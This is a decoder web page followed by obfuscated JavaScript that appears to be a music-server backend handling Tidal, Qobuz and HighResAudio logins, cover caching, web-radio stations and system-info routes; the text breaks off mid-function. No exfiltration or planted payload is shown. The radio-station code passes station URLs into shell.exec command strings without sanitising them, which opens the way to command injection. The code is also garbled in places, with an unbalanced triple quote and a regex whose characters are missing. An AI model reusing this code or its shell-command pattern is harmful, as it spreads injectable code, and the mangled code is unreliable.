Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


var _0x2db473=_0x4832;(function(_0x29610d,_0x1e7125){var _0x567440=_0x4832,_0x135c8d=_0x29610d();while(!![]){try{var _0x5edaaa=parseInt(_0x567440(0x30d))/0x1*(parseInt(_0x567440(0x337))/0x2)+parseInt(_0x567440(0x277))/0x3*(parseInt(_0x567440(0x3a0))/0x4)+parseInt(_0x567440(0x5cd))/0x5+parseInt(_0x567440(0x3d1))/0x6*(-parseInt(_0x567440(0x567))/0x7)+parseInt(_0x567440(0x421))/0x8*(parseInt(_0x567440(0x57f))/0x9)+parseInt(_0x567440(0x51d))/0xa+parseInt(_0x567440(0x265))/0xb*(-parseInt(_0x567440(0x4bd))/0xc);if(_0x5edaaa===_0x1e7125)break;else _0x135c8d['push'](_0x135c8d['shift']());}catch(_0x315e75){_0x135c8d['push'](_0x135c8d['shift']());}}}(_0x486a,0xf2ab2));var fs=require('fs'),os=require('os'),client=require(_0x2db473(0x2f4)),async=require('async'),shell=require(_0x2db473(0x596)),ytdl=require('ytdl-core');shell[_0x2db473(0x563)][_0x2db473(0x2b8)]=!0x0,shell[_0x2db473(0x5d6)][_0x2db473(0x47c)]='/var/roon',shell[_0x2db473(0x5d6)]['ROON_ID_DIR']=_0x2db473(0x2a4);var g_coversind,g_missingcovers,g_coversmap,g_origcover,config=client[_0x2db473(0x46a)](),hqpd=client[_0x2db473(0x56d)](),g_lib_engine=client[_0x2db473(0x3bf)](),respHandlers=require(_0x2db473(0x5bb)),mpdUtils=require(_0x2db473(0x480)),utils=require(_0x2db473(0x3d8)),cdinfo=require(_0x2db473(0x280)),TidalAPI=require(_0x2db473(0x2cc)),QobuzAPI=require(_0x2db473(0x500)),ShoutcastAPI=require('./shoutcastapi.js'),RadiotimeAPI=require(_0x2db473(0x573)),YoutubeAPI=require(_0x2db473(0x397)),LastFMAPI=require(_0x2db473(0x4d1)),HighresaudioAPI=require('./highresaudioapi.js'),g_pending_copy_paths=[],g_backup_in_progress=!0x1,g_copy_in_progress=!0x1,g_cached_results={};function getCachedResult(_0x263743){var _0x2be51e=_0x2db473,_0x4a1f90=g_cached_results[_0x263743];return _0x4a1f90&&new Date()['getTime']()-_0x4a1f90[_0x2be51e(0x335)]<0x927c0?_0x4a1f90[_0x2be51e(0x25b)]:null;}function setCachedResult(_0xfd7d23,_0x6ff9d7){var _0x595d06=_0x2db473,_0x54ff55={'time':new Date()[_0x595d06(0x2fb)](),'data':_0x6ff9d7};g_cached_results[_0xfd7d23]=_0x54ff55;}var g_highres_medialist,g_webradio=client[_0x2db473(0x503)](),g_highres_downloaded={};try{g_highres_downloaded=require('/data/.highresdownloaded.json');}catch(_0xa2624a){}try{highresMarkDownloaded(g_highres_medialist=require(_0x2db473(0x3d5)));}catch(_0x4958fb){}try{var start=new Date()['getTime'](),coversind_file_path=getRealCachePath()+_0x2db473(0x4d5);fs[_0x2db473(0x4ed)](coversind_file_path)?g_coversind=require(coversind_file_path):(fs[_0x2db473(0x3a2)](coversind_file_path,JSON['stringify'](new Object(),null,'	')),g_coversind={});}catch(_0x24f94c){fs[_0x2db473(0x3a2)](coversind_file_path,JSON['stringify'](new Object(),null,'	')),utils['log']('Route static init error: '+_0x24f94c);}try{var missingcovers_file_path=getRealCachePath()+_0x2db473(0x559);fs[_0x2db473(0x4ed)](missingcovers_file_path)?g_missingcovers=require(missingcovers_file_path):(fs[_0x2db473(0x3a2)](missingcovers_file_path,JSON[_0x2db473(0x2e9)](new Object(),null,'	')),g_missingcovers={});}catch(_0x4f7080){fs[_0x2db473(0x3a2)](missingcovers_file_path,JSON['stringify'](new Object(),null,'	')),utils[_0x2db473(0x45a)](_0x2db473(0x24f)+_0x4f7080);}try{var origcovers_file_path=getRealCachePath()+_0x2db473(0x307);fs[_0x2db473(0x4ed)](origcovers_file_path)?g_origcovers=require(origcovers_file_path):(fs['writeFileSync'](origcovers_file_path,JSON[_0x2db473(0x2e9)](new Object(),null,'	')),g_origcovers={});}catch(_0x44689f){fs[_0x2db473(0x3a2)](origcovers_file_path,JSON[_0x2db473(0x2e9)](new Object(),null,'	')),utils[_0x2db473(0x45a)](_0x2db473(0x5cc)+_0x44689f);}try{g_coversmap={};for(var files1=fs[_0x2db473(0x5ab)](getRealCachePath()),i=0x0;i<files1['length'];i++){var artist=files1[i];if(!/(coversind|missingcovers|coversmap)/[_0x2db473(0x447)](artist)&&fs[_0x2db473(0x3bb)](getRealCachePath(artist)[_0x2db473(0x560)](0x0,-0x1))[_0x2db473(0x455)]())for(var files2=fs[_0x2db473(0x5ab)](getRealCachePath(artist)),j=0x0;j<files2[_0x2db473(0x5c4)];j++){var album=files2[j];/(artist\.txt|artist\.png)/[_0x2db473(0x447)](album)||fs['existsSync'](_0x2db473(0x370)+artist+'/'+album+_0x2db473(0x26b))&&(g_coversmap[artist+album]=_0x2db473(0x59e)+artist+'/'+album+_0x2db473(0x26b),g_coversmap['_va_'+album]='/cache/'+artist+'/'+album+_0x2db473(0x26b));}}}catch(_0x594d24){console[_0x2db473(0x45a)](_0x2db473(0x2eb)+_0x594d24);}function getRealCachePath(_0x5aec2b,_0x48d27f){var _0x22fdb0=_0x2db473,_0x1740b6=_0x22fdb0(0x370);return _0x5aec2b&&(_0x1740b6+=_0x5aec2b+'/',_0x48d27f&&(_0x1740b6+=_0x48d27f+'/')),_0x1740b6;}function setCoversmap(_0x18e7b7,_0x602235){var _0x7a8d65=_0x2db473,_0x102f85='/cache/'+_0x18e7b7+'/'+_0x602235+_0x7a8d65(0x26b);g_coversmap[_0x18e7b7+_0x602235]=_0x102f85,g_coversmap[_0x7a8d65(0x539)+_0x602235]=_0x102f85;try{delete g_missingcovers[_0x18e7b7+_0x602235];}catch(_0x5ce6e9){}return _0x102f85;}function getCoversmap(_0x476872,_0x29c972){return g_coversmap[_0x476872+_0x29c972]?g_coversmap[_0x476872+_0x29c972]:null;}function getCoversmapNoArtist(_0x2dfaa1,_0x4eafc2){var _0x2fb6db=_0x2db473;return g_coversmap['_va_'+_0x4eafc2]?g_coversmap[_0x2fb6db(0x539)+_0x4eafc2]:null;}var illegalRe=/[\#\$\/\?<>\\:\*\|":]/g,controlRe=/[--]/g,reservedRe=/^\.+$/;function sanitize(_0x2158a9,_0x4c46af){var _0x5af2d5=_0x2db473;return _0x2158a9?(_0x4c46af||(_0x4c46af='_'),_0x2158a9[_0x5af2d5(0x30e)](illegalRe,_0x4c46af)[_0x5af2d5(0x30e)](controlRe,_0x4c46af)[_0x5af2d5(0x30e)](reservedRe,_0x4c46af)[_0x5af2d5(0x5b5)]()):_0x2158a9;}var g_highres_api=new HighresaudioAPI(),g_shoutcast_api=new ShoutcastAPI(),g_radiotime_api=new RadiotimeAPI(),g_youtube_api=new YoutubeAPI(),g_qobuz_api=new QobuzAPI(),g_lastfm_api=new LastFMAPI(),g_tidal_api=new TidalAPI();function initTidal(){var _0x58e557=_0x2db473;config[_0x58e557(0x530)]?(utils[_0x58e557(0x45a)](_0x58e557(0x2e1)),g_tidal_api[_0x58e557(0x361)](config[_0x58e557(0x317)],config[_0x58e557(0x530)],config[_0x58e557(0x346)],config['tidal_token_type'],function(_0x239aa1){var _0x1f9d3c=_0x58e557;if(_0x239aa1&&_0x239aa1[_0x1f9d3c(0x42c)]?(utils['log'](_0x1f9d3c(0x578)),config[_0x1f9d3c(0x59f)]='ok',config[_0x1f9d3c(0x279)]=!0x0,fs[_0x1f9d3c(0x3a2)](_0x1f9d3c(0x580),JSON[_0x1f9d3c(0x2e9)](config,null,'	'))):_0x239aa1&&_0x239aa1[_0x1f9d3c(0x381)]?(utils[_0x1f9d3c(0x45a)](_0x1f9d3c(0x509)),config[_0x1f9d3c(0x317)]=_0x239aa1['access_token'],config[_0x1f9d3c(0x292)]=_0x239aa1[_0x1f9d3c(0x241)],config['tidal_expires_at']=new Date()['getTime']()+0x3e8*_0x239aa1[_0x1f9d3c(0x4ff)],fs[_0x1f9d3c(0x3a2)](_0x1f9d3c(0x580),JSON[_0x1f9d3c(0x2e9)](config,null,'	')),g_tidal_api[_0x1f9d3c(0x3af)](function(_0x22f553){var _0x470843=_0x1f9d3c;_0x22f553&&_0x22f553[_0x470843(0x42c)]?(config[_0x470843(0x59f)]='ok',config[_0x470843(0x279)]=!0x0):(config[_0x470843(0x59f)]=null,utils[_0x470843(0x45a)](_0x470843(0x2ea)+g_tidal_api['getError']())),fs[_0x470843(0x3a2)](_0x470843(0x580),JSON[_0x470843(0x2e9)](config,null,'	'));})):(utils[_0x1f9d3c(0x45a)](_0x1f9d3c(0x46e)),console[_0x1f9d3c(0x45a)](_0x239aa1),config[_0x1f9d3c(0x59f)]=null,config[_0x1f9d3c(0x317)]=null,fs[_0x1f9d3c(0x3a2)]('./config.json',JSON['stringify'](config,null,'	')),utils['log'](_0x1f9d3c(0x2ea)+g_tidal_api[_0x1f9d3c(0x2c0)]())),config[_0x1f9d3c(0x317)]){var _0x162ff9=config[_0x1f9d3c(0x346)]-new Date()[_0x1f9d3c(0x2fb)]()-0x493e0;setTimeout(function(){var _0x158107=_0x1f9d3c;utils[_0x158107(0x45a)](_0x158107(0x235)),initTidal();},_0x162ff9),utils[_0x1f9d3c(0x45a)](_0x1f9d3c(0x546)+Math['round'](_0x162ff9/0xea60)+' minutes');}})):(utils['log'](_0x58e557(0x232)),config[_0x58e557(0x59f)]=null,fs[_0x58e557(0x3a2)](_0x58e557(0x580),JSON['stringify'](config,null,'	')));}function qobuzLogin(_0x85cb7c,_0xa6139c,_0x2224d7){var _0x214c48=_0x2db473;g_qobuz_api[_0x214c48(0x34d)](_0x85cb7c,_0xa6139c,function(_0xecd00f){var _0x378ab8=_0x214c48;_0xecd00f[_0x378ab8(0x2c4)]?config[_0x378ab8(0x344)]='ok':(config[_0x378ab8(0x344)]=null,utils['log'](_0xecd00f)),fs[_0x378ab8(0x3a2)](_0x378ab8(0x580),JSON[_0x378ab8(0x2e9)](config,null,'	')),_0x2224d7&&_0x2224d7(_0xecd00f);});}function highresLogin(_0x2dbec3,_0x5d530a,_0x3a6c3b){g_highres_api['login'](_0x2dbec3,_0x5d530a,function(_0x2a99f3){var _0x42bd2d=_0x4832;_0x2a99f3['includes'](_0x42bd2d(0x41d))?config[_0x42bd2d(0x234)]='ok':(config[_0x42bd2d(0x234)]=null,utils[_0x42bd2d(0x45a)](_0x2a99f3)),fs['writeFileSync'](_0x42bd2d(0x580),JSON[_0x42bd2d(0x2e9)](config,null,'	')),_0x3a6c3b&&_0x3a6c3b();});}function getHighresMedialist(_0x2c9bf3){var _0x367453=_0x2db473;g_highres_medialist?(highresMarkDownloaded(g_highres_medialist),_0x2c9bf3(g_highres_medialist),g_highres_api['medialist'](function(_0x184aa6){var _0x39d1a1=_0x4832;_0x184aa6[_0x39d1a1(0x597)]('revissionID')&&(highresMarkDownloaded(g_highres_medialist=JSON[_0x39d1a1(0x408)](_0x184aa6)),fs['writeFileSync'](_0x39d1a1(0x3d5),JSON['stringify'](g_highres_medialist,null,'	')));})):g_highres_api[_0x367453(0x343)](function(_0x32cd16){var _0x5570d2=_0x367453;_0x32cd16['includes'](_0x5570d2(0x2e7))?(highresMarkDownloaded(g_highres_medialist=JSON[_0x5570d2(0x408)](_0x32cd16)),_0x2c9bf3(g_highres_medialist)):_0x2c9bf3(null);});}function highresMarkDownloaded(_0xdcf8d5){var _0x19db86=_0x2db473;if(g_highres_downloaded)for(var _0x5b6188=0x0;_0x5b6188<_0xdcf8d5[_0x19db86(0x5c4)];_0x5b6188++){var _0x3cc967=_0xdcf8d5[_0x5b6188];_0x3cc967[_0x19db86(0x58f)]&&(g_highres_downloaded[_0x3cc967[_0x19db86(0x58f)]]&&(_0x3cc967[_0x19db86(0x4f6)]=!0x0));}}function addAlbumTracksQobuz(_0x261ddf,_0x1ff62e,_0x42fc16){'album'==_0x42fc16?fillQobuzTracks2(_0x261ddf):fillQobuzPlaylistTracks(_0x261ddf);}function addAlbumTracksTidal(_0x5f049f,_0x5aec21){var _0x45590f=_0x2db473;_0x5f049f[_0x45590f(0x38f)](function(_0x21927a){var _0x1de5f3=_0x45590f;_0x21927a[_0x1de5f3(0x2f3)]=_0x21927a['album'][_0x1de5f3(0x373)],_0x21927a[_0x1de5f3(0x3a3)]=g_tidal_api[_0x1de5f3(0x3e7)](_0x21927a[_0x1de5f3(0x2f3)],0x280),_0x21927a[_0x1de5f3(0x551)]=_0x21927a[_0x1de5f3(0x551)]['title'],_0x21927a[_0x1de5f3(0x326)]=_0x21927a[_0x1de5f3(0x326)][_0x1de5f3(0x2c3)],_0x21927a[_0x1de5f3(0x479)]=_0x21927a[_0x1de5f3(0x326)],_0x21927a[_0x1de5f3(0x521)]=_0x21927a[_0x1de5f3(0x24b)],_0x21927a[_0x1de5f3(0x271)]=_0x21927a[_0x1de5f3(0x3e4)],_0x21927a[_0x1de5f3(0x2f1)]=_0x1de5f3(0x382),_0x21927a[_0x1de5f3(0x40c)]='',_0x21927a['albumid']=_0x5aec21,_0x21927a['discnumber']=_0x21927a[_0x1de5f3(0x53d)];});}function playRadioStation(_0x3c25a2,_0x2cc5e2,_0x63fce7){var _0x1fa1e1=_0x2db473,_0x16478f=client[_0x1fa1e1(0x2e4)]()[_0x1fa1e1(0x3b9)]();if(_0x16478f){for(var _0xfb2b0a=!0x1,_0x226c21=0x0;_0x226c21<_0x16478f[_0x1fa1e1(0x5c4)];_0x226c21++){var _0x2d7b17=_0x16478f[_0x226c21];if(_0x2d7b17[_0x1fa1e1(0x445)]==_0x2cc5e2[_0x1fa1e1(0x445)]&&_0x2d7b17['path']['includes']('://')){_0xfb2b0a=!0x0;break;}}_0xfb2b0a?_0x63fce7?client[_0x1fa1e1(0x2e4)]()[_0x1fa1e1(0x244)](_0x226c21,function(_0x5b80bf){respHandlers['sendAsJson'](_0x5b80bf,_0x3c25a2);}):respHandlers['handleSimpleResponse']('Station already in queue',_0x3c25a2,!0x0):client[_0x1fa1e1(0x2e4)]()[_0x1fa1e1(0x2df)](function(_0x51788d){var _0x5b1f14=_0x1fa1e1;client[_0x5b1f14(0x2e4)]()[_0x5b1f14(0x4ad)](_0x2cc5e2,_0x63fce7,function(_0x1bb3bb){var _0x4db501=_0x5b1f14;respHandlers[_0x4db501(0x4ce)](_0x1bb3bb,_0x3c25a2);});});}else respHandlers['handleSimpleResponse'](_0x1fa1e1(0x44f),_0x3c25a2,!0x0);}function parsePlsFile(_0x2f7132){var _0x29ae61=_0x2db473;for(var _0x2e4560={},_0x48871c=_0x2f7132[_0x29ae61(0x4b9)](/\n/),_0x47cc92=0x0;_0x47cc92<_0x48871c[_0x29ae61(0x5c4)];_0x47cc92++){var _0x1f531a=_0x48871c[_0x47cc92],_0x4ba7fb=_0x1f531a[_0x29ae61(0x44a)]('=');0x0!=_0x1f531a[_0x29ae61(0x5b5)]()[_0x29ae61(0x5c4)]&&-0x1!=_0x4ba7fb&&(_0x2e4560[_0x1f531a[_0x29ae61(0x457)](0x0,_0x4ba7fb)]=_0x1f531a[_0x29ae61(0x457)](_0x4ba7fb+0x1));}return _0x2e4560;}function addRadioStation(_0x27f461,_0xab9b18,_0x34d1e6,_0x55de60,_0xa22b74,_0x2577df){var _0x45ec7c=_0x2db473;_0x55de60||(_0x55de60=0x0),_0x55de60>0x3?respHandlers[_0x45ec7c(0x1fe)](_0x45ec7c(0x436),_0x27f461,!0x0):shell[_0x45ec7c(0x513)](_0x45ec7c(0x330)+_0x34d1e6+''',function(_0xf3c760,_0x117e85){var _0x2d2a2a=_0x45ec7c,_0x1dc3d0='';if(_0x117e85&&(_0x1dc3d0+=_0x117e85['toString']()),_0x1dc3d0=_0x1dc3d0[_0x2d2a2a(0x5b5)](),_0xa22b74||!_0x1dc3d0||_0x1dc3d0['includes'](_0x2d2a2a(0x213))||_0x1dc3d0[_0x2d2a2a(0x597)](_0x2d2a2a(0x587))||_0x1dc3d0[_0x2d2a2a(0x597)]('Empty reply from server')||_0x1dc3d0[_0x2d2a2a(0x597)](_0x2d2a2a(0x208))||_0x1dc3d0[_0x2d2a2a(0x597)](_0x2d2a2a(0x5c0))||_0x1dc3d0[_0x2d2a2a(0x597)]('Origin Error')||_0x1dc3d0[_0x2d2a2a(0x597)]('ice-audio-info')||_0x1dc3d0[_0x2d2a2a(0x597)](_0x2d2a2a(0x4e7))||_0x1dc3d0[_0x2d2a2a(0x597)](_0x2d2a2a(0x36d))||_0x1dc3d0[_0x2d2a2a(0x597)](_0x2d2a2a(0x359))||_0x1dc3d0[_0x2d2a2a(0x597)](_0x2d2a2a(0x200))||_0x1dc3d0[_0x2d2a2a(0x597)](_0x2d2a2a(0x56a))||_0x1dc3d0[_0x2d2a2a(0x597)](_0x2d2a2a(0x5d8))||_0x1dc3d0[_0x2d2a2a(0x597)](_0x2d2a2a(0x3e8))||_0x1dc3d0[_0x2d2a2a(0x597)](_0x2d2a2a(0x5a2))){var _0x519f6f=g_webradio[_0x34d1e6];_0x519f6f||(_0x519f6f={},_0xab9b18[_0x2d2a2a(0x2c3)]?copyObjProperties(_0xab9b18,_0x519f6f):_0x519f6f[_0x2d2a2a(0x2c3)]=_0xab9b18,_0x519f6f[_0x2d2a2a(0x248)]=_0x519f6f['name'],_0x519f6f['url']=_0x34d1e6,_0x519f6f['path']=_0x34d1e6,_0x519f6f['url_type']=_0x2d2a2a(0x38e),g_webradio[_0x519f6f[_0x2d2a2a(0x439)]]=_0x519f6f,fs[_0x2d2a2a(0x3a2)](_0x2d2a2a(0x262),JSON[_0x2d2a2a(0x2e9)](g_webradio,null,'	'))),playRadioStation(_0x27f461,_0x519f6f,_0x2577df);}else{if(-0x1==_0x1dc3d0[_0x2d2a2a(0x44a)]('timed out')&&-0x1==_0x1dc3d0[_0x2d2a2a(0x44a)](_0x2d2a2a(0x3ef))&&-0x1==_0x1dc3d0[_0x2d2a2a(0x44a)](_0x2d2a2a(0x4aa))){var _0x53a966=_0x2d2a2a(0x32f)+Math[_0x2d2a2a(0x3f4)]();shell[_0x2d2a2a(0x513)](_0x2d2a2a(0x250)+_0x53a966+_0x2d2a2a(0x356)+_0x53a966+_0x2d2a2a(0x291)+_0x34d1e6+'"',function(_0x39db73,_0x7e2bb6){var _0x226129=_0x2d2a2a;0x0==_0x39db73?shell['exec'](_0x226129(0x377)+_0x53a966,function(_0x2d6bd1,_0x39d56e){var _0x39c124=_0x226129,_0x638d64=_0x39d56e[_0x39c124(0x303)]()['split'](/\n/)[0x0]['trim'](),_0x98943f=_0x53a966+'/'+_0x638d64;_0x46ab8a=null;var _0x5c9d4d=shell['cat'](_0x98943f);if(utils[_0x39c124(0x45a)](_0x39c124(0x3f8)+_0x5c9d4d),_0x638d64[_0x39c124(0x597)](_0x39c124(0x23d))){var _0x78f60d=parsePlsFile(_0x5c9d4d);utils[_0x39c124(0x45a)](JSON[_0x39c124(0x2e9)](_0x78f60d,null,'	'));var _0x46ab8a=_0x78f60d[_0x39c124(0x4e1)];if(!_0x46ab8a)return void respHandlers[_0x39c124(0x1fe)](_0x39c124(0x3cf),_0x27f461,!0x0);var _0x57d398=_0x78f60d[_0x39c124(0x40d)];if(!_0xab9b18&&_0x57d398&&(_0xab9b18=_0x57d398)[_0x39c124(0x45d)]('(')){var _0x70ea49=_0xab9b18['indexOf'](')');_0x70ea49>0x0&&(_0xab9b18=_0xab9b18['substring'](_0x70ea49+0x1)[_0x39c124(0x5b5)]());}}else{if(_0x638d64['includes'](_0x39c124(0x25c))||_0x638d64[_0x39c124(0x45d)](_0x39c124(0x2f2)))_0x46ab8a=_0x5c9d4d[_0x39c124(0x5b5)]()[_0x39c124(0x4b9)](/\n/)[_0x39c124(0x5b4)](),utils[_0x39c124(0x45a)](_0x39c124(0x3b1)+_0x46ab8a);else respHandlers['handleSimpleResponse'](_0x39c124(0x598),_0x27f461,!0x0);}shell[_0x39c124(0x513)]('rm "'+_0x98943f+'"; rmdir '+_0x53a966,{'async':!0x0}),_0x46ab8a&&(_0x46ab8a=_0x46ab8a['trim'](),addRadioStation(_0x27f461,_0xab9b18,_0x46ab8a,++_0x55de60,!0x1,_0x2577df));}):(utils['log'](_0x226129(0x511)+_0x34d1e6+' '+_0x7e2bb6),require(_0x226129(0x415))[_0x226129(0x2db)](_0x53a966),_0x7e2bb6[_0x226129(0x597)](_0x226129(0x398))?addRadioStation(_0x27f461,_0xab9b18,_0x34d1e6,_0x55de60,!0x0,_0x2577df):respHandlers[_0x226129(0x1fe)](_0x7e2bb6[_0x226129(0x303)](),_0x27f461,!0x0));});}else respHandlers['handleSimpleResponse']('Station unavailable.',_0x27f461,!0x0);}});}!function(){var _0x55f045=_0x2db473;try{initTidal();}catch(_0x1cb8c9){utils[_0x55f045(0x566)](_0x1cb8c9);}try{config[_0x55f045(0x44e)]&&g_qobuz_api[_0x55f045(0x34d)](config[_0x55f045(0x44e)],config[_0x55f045(0x38c)],function(_0x365b78){var _0x9d7cec=_0x55f045;utils['log'](_0x365b78),_0x365b78['user_auth_token']?config[_0x9d7cec(0x344)]='ok':config[_0x9d7cec(0x344)]=null,fs[_0x9d7cec(0x3a2)]('./config.json',JSON[_0x9d7cec(0x2e9)](config,null,'	'));});}catch(_0x4e0401){utils['err'](_0x4e0401);}try{config[_0x55f045(0x3ab)]&&highresLogin(config[_0x55f045(0x3ab)],config['highres_password']);}catch(_0x531be6){utils[_0x55f045(0x45a)](_0x531be6);}}();var getTrackUrl=function(_0x187fe4,_0x22cbe1){var _0x5e5ef2=_0x2db473;_0x5e5ef2(0x382)==_0x187fe4[_0x5e5ef2(0x2f1)]?g_tidal_api[_0x5e5ef2(0x405)](_0x187fe4,function(_0x4115b8){var _0x1e573c=_0x5e5ef2;if(_0x4115b8[_0x1e573c(0x388)])return utils[_0x1e573c(0x45a)](_0x1e573c(0x4a7)+_0x4115b8[_0x1e573c(0x388)]),void _0x22cbe1(_0x4115b8);if(_0x4115b8['urls'])_0x187fe4[_0x1e573c(0x445)]=_0x4115b8['urls'][0x0],_0x187fe4['quality']=_0x4115b8[_0x1e573c(0x3e4)],_0x4115b8[_0x1e573c(0x53d)]&&(_0x187fe4[_0x1e573c(0x489)]=_0x4115b8[_0x1e573c(0x53d)]),'HI_RES'==_0x187fe4[_0x1e573c(0x271)]?_0x187fe4['samplerate']=0x17700:_0x187fe4[_0x1e573c(0x27d)]=0xac44;else{if(_0x4115b8[_0x1e573c(0x2c6)]){_0x187fe4[_0x1e573c(0x271)]=_0x4115b8['audioQuality'],_0x4115b8[_0x1e573c(0x53d)]&&(_0x187fe4['discnumber']=_0x4115b8[_0x1e573c(0x53d)]),_0x1e573c(0x4da)==_0x187fe4[_0x1e573c(0x271)]?_0x187fe4[_0x1e573c(0x27d)]=0x17700:_0x187fe4[_0x1e573c(0x27d)]=0xac44;var _0x852058=JSON[_0x1e573c(0x408)](Buffer[_0x1e573c(0x589)](_0x4115b8[_0x1e573c(0x2c6)],_0x1e573c(0x3c7))['toString']());_0x852058[_0x1e573c(0x2bc)]&&(_0x187fe4[_0x1e573c(0x445)]=_0x852058[_0x1e573c(0x2bc)][0x0],_0x187fe4['mimeType']=_0x852058['mimeType'],_0x187fe4[_0x1e573c(0x52f)]=_0x852058['encryptionType']);}}_0x22cbe1(_0x187fe4);}):_0x5e5ef2(0x220)==_0x187fe4[_0x5e5ef2(0x2f1)]?g_qobuz_api[_0x5e5ef2(0x4f0)](_0x187fe4['id'],function(_0x524bd0){var _0x26d030=_0x5e5ef2;if(_0x524bd0[_0x26d030(0x388)])return utils[_0x26d030(0x45a)](_0x26d030(0x4a7)+_0x524bd0[_0x26d030(0x388)]),void _0x22cbe1(_0x524bd0);utils[_0x26d030(0x45a)](_0x26d030(0x389)+_0x524bd0['url']),_0x524bd0['url']&&(_0x187fe4['path']=_0x524bd0[_0x26d030(0x439)],_0x187fe4[_0x26d030(0x27d)]=0x3e8*Number(_0x524bd0[_0x26d030(0x5ac)])),_0x22cbe1(_0x187fe4);}):getYoutubeAsync(_0x187fe4,_0x22cbe1);};async function getYoutubeAsync(_0x651654,_0x43bc7f){var _0x51d366=_0x2db473,_0x2e951b=await ytdl[_0x51d366(0x58e)](_0x651654['id'],{'quality':_0x51d366(0x58b)}),_0x184907=ytdl['filterFormats'](_0x2e951b[_0x51d366(0x425)],_0x51d366(0x239))[0x0];utils[_0x51d366(0x45a)](_0x51d366(0x414)+_0x184907[_0x51d366(0x439)]),_0x184907[_0x51d366(0x439)]?(_0x651654[_0x51d366(0x445)]=_0x184907[_0x51d366(0x439)],_0x651654[_0x51d366(0x289)]=_0x184907[_0x51d366(0x289)],_0x651654[_0x51d366(0x27d)]=_0x184907[_0x51d366(0x452)],_0x43bc7f(_0x651654)):_0x43bc7f(_0x651654);}var appMapFuncBuilder=function(_0x251be6){return function(_0x5ca5a8,_0x36122f){var _0x26e969=_0x4832;for(var _0x2154de in(_0x36122f=_0x36122f||'',_0x5ca5a8))switch(typeof _0x5ca5a8[_0x2154de]){case _0x26e969(0x4d4):_0x251be6[_0x26e969(0x42a)](_0x5ca5a8[_0x2154de],_0x36122f+_0x2154de);break;case _0x26e969(0x3fe):_0x251be6[_0x2154de](_0x36122f,_0x5ca5a8[_0x2154de]);}};},appMap={'/info':{'get':function(_0x580090,_0x28cc6b){var _0x278769=_0x2db473;_0x28cc6b[_0x278769(0x43e)](_0x278769(0x340),{'config':config});}},'/intro':{'get':function(_0x21c254,_0x14d175){var _0x28e440=_0x2db473;_0x14d175[_0x28e440(0x43e)](_0x28e440(0x28d),{'config':config});}},'/config':{'get':function(_0x112e58,_0x11f030){var _0x3d8495=_0x2db473;respHandlers[_0x3d8495(0x1fe)](config,_0x11f030);}},'/getspotifyat':{'get':function(_0x5d3f40,_0x1a4f05){var _0x2cd6d4=_0x2db473;client[_0x2cd6d4(0x3c3)](function(){var _0x2eabaa=_0x2cd6d4;respHandlers[_0x2eabaa(0x1fe)](config,_0x1a4f05);});}},'/systeminfo':{'get':function(_0x3d4043,_0x57ab8f){var _0x2759ab=_0x2db473;shell[_0x2759ab(0x513)](_0x2759ab(0x2ee),function(_0x2d4549,_0x4d59a0){var _0x57d0a6=_0x2759ab;if(0x0==_0x2d4549){var _0x180158={},_0x497169=_0x4d59a0[_0x57d0a6(0x303)]()[_0x57d0a6(0x4b9)](/\n/);_0x180158[_0x57d0a6(0x5ce)]=config[_0x57d0a6(0x5ce)],_0x180158[_0x57d0a6(0x3cd)]=config[_0x57d0a6(0x204)],_0x180158[_0x57d0a6(0x216)]=config[_0x57d0a6(0x216)],_0x180158[_0x57d0a6(0x327)]=_0x497169[0x1],_0x180158['ip']=getIpAddresses(),_0x497169[0x2][_0x57d0a6(0x5b5)]()&&!Number[_0x57d0a6(0x269)](Number(_0x497169[0x2][_0x57d0a6(0x5b5)]()))&&(_0x180158[_0x57d0a6(0x2b7)]=_0x497169[0x2]['trim']()),_0x180158[_0x57d0a6(0x4b7)]=utils[_0x57d0a6(0x222)](os[_0x57d0a6(0x4b7)]),_0x180158[_0x57d0a6(0x33f)]=os[_0x57d0a6(0x322)]()[0x0][_0x57d0a6(0x3f6)],_0x180158[_0x57d0a6(0x34e)]=os[_0x57d0a6(0x4e3)](),_0x180158[_0x57d0a6(0x310)]=mpdUtils['getuid0']()+','+config[_0x57d0a6(0x310)],_0x180158[_0x57d0a6(0x285)]=config[_0x57d0a6(0x285)],_0x180158[_0x57d0a6(0x226)]=config['hqpd_license'],_0x180158['registration']=config[_0x57d0a6(0x5a0)],respHandlers['handleSimpleResponse'](_0x180158,_0x57ab8f);}else respHandlers[_0x57d0a6(0x1fe)](_0x4d59a0[_0x57d0a6(0x303)](),_0x57ab8f,!0x0);});}},'/hwparams':{'get':function(_0x382d23,_0x4deb42){var _0x5f23e1=_0x2db473,_0x2ba0a6=utils[_0x5f23e1(0x4b8)](config);_0x2ba0a6?'remote'!=_0x2ba0a6[_0x5f23e1(0x50d)]?utils[_0x5f23e1(0x224)](_0x2ba0a6,function(_0x51d323){var _0x45a7e7=_0x5f23e1;_0x51d323['hqpd_dop']=config[_0x45a7e7(0x318)][_0x45a7e7(0x4f4)][_0x45a7e7(0x47a)],_0x51d323[_0x45a7e7(0x3fb)]=config[_0x45a7e7(0x318)][_0x45a7e7(0x4f4)]['hqpd_mode'],respHandlers[_0x45a7e7(0x1fe)](_0x51d323,_0x4deb42);}):client[_0x5f23e1(0x5c6)](_0x2ba0a6['id'],function(_0x43738b){var _0x145e9c=_0x5f23e1;respHandlers[_0x145e9c(0x1fe)](_0x43738b,_0x4deb42);}):respHandlers[_0x5f23e1(0x1fe)]('',_0x4deb42);}},'/cardinfo/:id':{'get':function(_0x84bda4,_0x18b5cf){var _0x1c2b8e=_0x2db473,_0x3b76aa=_0x84bda4[_0x1c2b8e(0x515)]['id'],_0x154143=utils[_0x1c2b8e(0x5a4)](client[_0x1c2b8e(0x563)],_0x3b76aa,!0x0);if(_0x154143)_0x154143[_0x1c2b8e(0x55e)],_0x154143[_0x1c2b8e(0x568)],_0x1c2b8e(0x4f6)==_0x154143[_0x1c2b8e(0x50d)]?utils[_0x1c2b8e(0x3d3)](_0x154143,function(_0x54fd8b){var _0x11946d=_0x1c2b8e;respHandlers[_0x11946d(0x4ce)](_0x54fd8b,_0x18b5cf);}):client['getRemoteCardInfo'](_0x154143['id'],function(_0x4d1ef2){var _0x4ac53b=_0x1c2b8e;respHandlers[_0x4ac53b(0x4ce)](_0x4d1ef2,_0x18b5cf);});else respHandlers['handleSimpleResponse']('Device not present!',_0x18b5cf,!0x0);}},'/empty':{'get':function(_0xb8b6d1,_0x4f356a){var 